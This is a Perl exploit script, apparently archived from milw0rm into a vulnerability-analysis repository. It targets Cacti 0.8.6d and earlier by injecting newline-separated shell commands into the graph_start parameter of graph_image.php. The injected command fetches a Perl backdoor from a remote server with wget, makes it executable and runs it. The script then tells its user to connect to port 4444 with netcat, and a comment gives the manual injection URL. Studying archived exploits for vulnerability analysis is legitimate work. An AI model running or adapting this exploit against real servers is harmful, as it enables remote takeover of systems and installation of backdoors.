lilbool/vuln-code-analysis

1# Note:

2# This exploit contains backdoor shell code that is not located on this server.

3# /str0ke 

4

5#!/usr/bin/perl

6#

7# Remote Command Execution Exploit for Cacti <= 0.8.6d

8#

9# This exploit open a remote shell on the targets that uses Cacti

10# TARGET HOST MUST BE A GNU/LINUX SERVER, if not:

11# manual exploiting --> http://www.example.com/cacti/graph_image.php?local_graph_id=[valid_value]&graph_start=%0a[command]%0a

12# Patch: download the last version http://www.cacti.net/download_cacti.php

13# Discovered and Coded by Alberto Trivero

14

15use LWP::Simple;

16

17print "\n\t===============================\n";

18print "\t= Exploit for Cacti <= 0.8.6d =\n";

19print "\t=      by Alberto Trivero     =\n";

20print "\t===============================\n\n";

21

22if(@ARGV<2 or !($ARGV[1]=~m/\//)) {

23   print "Usage:\nperl $0 [target] [path]\n\nExamples:\nperl $0 www.example.com /cacti/\n";

24   exit(0);

25}

26

27$page=get("http://".$ARGV[0].$ARGV[1]."graph_view.php?action=list") || die "[-] Unable to retrieve: $!";

28print "[+] Connected to: $ARGV[0]\n";

29$page=~m/local_graph_id=(.*?)&/ || die "[-] Unable to retrieve a value for local_graph_id";

30print "[~] Sending exploiting request, wait for some seconds/minutes...\n";

31get("http://".$ARGV[0].$ARGV[1]."graph_image.php?local_graph_id=$1&graph_start=%0acd /tmp;wget http://server/shell.pl;chmod 777 shell.pl;perl shell.pl%0a");

32print "[+] Exploiting request done!\n";

33print "[*] Now try on your box: nc -v $ARGV[0] 4444\n";

34

35# milw0rm.com [2005-06-22]